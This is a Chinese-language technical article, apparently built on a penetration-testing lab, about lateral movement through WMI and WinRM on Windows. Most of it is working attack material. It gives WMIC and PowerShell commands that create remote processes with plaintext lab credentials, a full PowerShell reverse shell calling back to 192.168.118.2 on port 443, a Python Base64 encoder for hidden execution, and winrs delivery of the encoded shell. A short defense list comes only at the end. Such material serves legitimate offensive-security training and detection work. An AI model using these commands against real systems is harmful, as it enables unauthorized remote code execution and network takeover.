基于WMI与WinRM的横向移动技术深度解析
引言
在现代网络安全领域,横向移动(Lateral Movement)是攻击者从初始入侵点扩展至网络内部其他系统的重要手段。通过利用Windows操作系统内置的管理工具和技术,如Windows Management Instrumentation(WMI)和Windows Remote Management(WinRM),攻击者能够在目标网络中悄无声息地移动并提升权限。本文将深入探讨WMI和WinRM的工作原理、实现方式及其在横向移动中的具体应用,结合代码示例和实际场景,全面剖析这两种技术的攻击潜力与防御策略。
第一章:WMI技术基础
1.1 WMI概述
Windows Management Instrumentation(WMI)是微软开发的一种面向对象的管理框架,旨在为管理员和开发者提供自动化任务执行的能力。它通过提供对系统资源、硬件和软件的统一访问接口,成为Windows系统中不可或缺的一部分。WMI的核心功能包括查询系统信息、管理服务以及创建和管理进程。
WMI通过Win32_Process类的Create方法支持远程进程创建,这一特性使其成为横向移动的理想工具。通信层面,WMI依赖远程过程调用(RPC),默认使用135端口进行初始连接,随后在19152至65535的高端口范围内传输会话数据。
1.2 WMI的通信机制
WMI的远程访问基于分布式组件对象模型(DCOM),通过RPC协议实现跨主机通信。攻击者利用这一机制,可以在无需直接登录目标系统的情况下执行命令或启动进程。然而,成功的WMI操作需要目标主机的管理员权限,通常要求攻击者具备本地Administrators组成员的凭据或域用户权限。
1.3 WMI的横向移动潜力
WMI在横向移动中的应用主要体现在其隐蔽性和灵活性。传统的攻击工具可能触发安全软件的警报,而WMI作为系统内置组件,通常被视为合法操作,难以被检测。此外,WMI支持脚本化执行(如PowerShell),进一步提升了攻击的自动化程度。
第二章:通过WMIC实现横向移动
2.1 WMIC简介
WMIC(WMI Command-line)是WMI的命令行接口,尽管在Windows最新版本中已被弃用,但其历史上的广泛使用使其成为研究WMI攻击的经典案例。WMIC通过简单的命令行参数即可实现远程进程创建。
2.2 WMIC攻击示例
假设攻击者当前位于客户端机器CLIENT74,目标是服务器Files04(IP地址为192.168.50.73),并拥有域用户jen的凭据(密码为Nexus123!)。以下是使用WMIC启动远程计算器(calc)的步骤:
C:\Users\jeff>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
执行结果显示:
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 752;
ReturnValue = 0;
};
返回值为0表示进程创建成功,目标机器的任务管理器中将出现由jen用户运行的calc.exe进程。
2.3 会话隔离与进程特性
值得注意的是,自Windows Vista起引入的会话隔离机制使得系统进程和服务默认运行在会话0中。由于WMI提供程序主机(WMI Provider Host)作为系统服务运行,通过WMI创建的新进程同样位于会话0。这一特性限制了某些交互式进程的可见性,但在非交互式攻击场景中影响较小。
2.4 WMIC的局限性与弃用
尽管WMIC简单易用,但其命令行特性使其易于被日志记录和检测。此外,微软已逐步淘汰WMIC,转而推荐使用PowerShell,这促使攻击者转向更现代化的WMI实现方式。
第三章:通过PowerShell实现WMI攻击
3.1 PowerShell的优势
相比WMIC,PowerShell提供了更强大的脚本支持和更高的灵活性。通过PowerShell,攻击者可以构造复杂的WMI调用,实现从简单进程创建到完整反向Shell的多种攻击场景。
3.2 创建PSCredential对象
在PowerShell中执行WMI攻击的第一步是构造凭据对象。以下是创建jen用户凭据的代码:
$username = 'jen'
$password = 'Nexus123!'
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString
此代码将密码转换为安全字符串,并封装为PSCredential对象,用于后续认证。
3.3 建立CIM会话
PowerShell通过Common Information Model(CIM)管理WMI操作。以下是创建CIM会话的步骤:
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $options
$command = 'calc'
这里指定DCOM协议并连接目标IP(192.168.50.73),有效负载为启动计算器。
3.4 执行WMI调用
最后,通过Invoke-CimMethod命令执行远程进程创建:
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$command}
执行结果显示新进程ID(例如3712)和返回值为0,表明攻击成功。
3.5 从简单进程到反向Shell
为了提升攻击效果,可以将有效负载替换为PowerShell编写的反向Shell。以下是一个基础反向Shell代码:
$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
为避免特殊字符问题,使用Python将此代码编码为Base64:
import base64
payload = '$client = New-Object ...'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
运行后得到Base64编码的命令,替换$command变量并执行,最终在攻击者Kali机器的Netcat监听器(端口443)上获得Shell。
第四章:WinRM技术基础与应用
4.1 WinRM概述
Windows Remote Management(WinRM)是微软对WS-Management协议的实现,基于HTTP/HTTPS传输XML消息,默认使用5985(HTTP)和5986(HTTPS)端口。WinRM支持远程主机管理,是PowerShell远程处理和多种内置工具(如winrs)的核心组件。
4.2 通过WinRS实现横向移动
WinRS(Windows Remote Shell)是WinRM的命令行工具,要求目标主机上的用户属于Administrators或Remote Management Users组。以下是使用jen凭据远程执行命令的示例:
C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
FILES04
corp\jen
输出确认命令在目标主机Files04上成功执行。
4.3 WinRS与反向Shell
将命令替换为Base64编码的反向Shell后,攻击者可获得完整的远程控制:
C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD..."
Netcat监听器收到来自Files04的Shell,进一步验证了攻击成功。
4.4 PowerShell Remoting
PowerShell通过New-PSSession支持WinRM远程会话:
$credential = New-Object System.Management.Automation.PSCredential 'jen', (ConvertTo-SecureString 'Nexus123!' -AsPlaintext -Force)
New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Enter-PSSession 1
进入会话后,可直接运行命令验证权限和主机名。
第五章:WMI与WinRM的对比与防御
5.1 技术对比
- 通信协议:WMI使用DCOM/RPC,WinRM基于HTTP/HTTPS。
- 端口:WMI(135+高端口),WinRM(5985/5986)。
- 隐蔽性:WMI更低调,WinRM易被网络流量检测。
- 灵活性:WinRM支持交互式会话,WMI更适合单次执行。
5.2 防御策略
- 限制权限:移除不必要的管理员权限,启用UAC。
- 网络隔离:限制135、5985、5986端口的访问。
- 日志监控:记录WMI和WinRM活动,检测异常进程创建。
- 禁用服务:在非必要主机上禁用WMI和WinRM。
结论
WMI和WinRM作为Windows管理工具,在横向移动中展现出强大的攻击潜力。通过WMIC、PowerShell和WinRS等工具,攻击者可以轻松实现远程进程创建和权限提升。理解这些技术的原理和实现方式,不仅有助于攻击模拟,也为防御设计提供了关键洞察。在日益复杂的网络威胁环境中,掌握WMI和WinRM的双刃剑特性至关重要。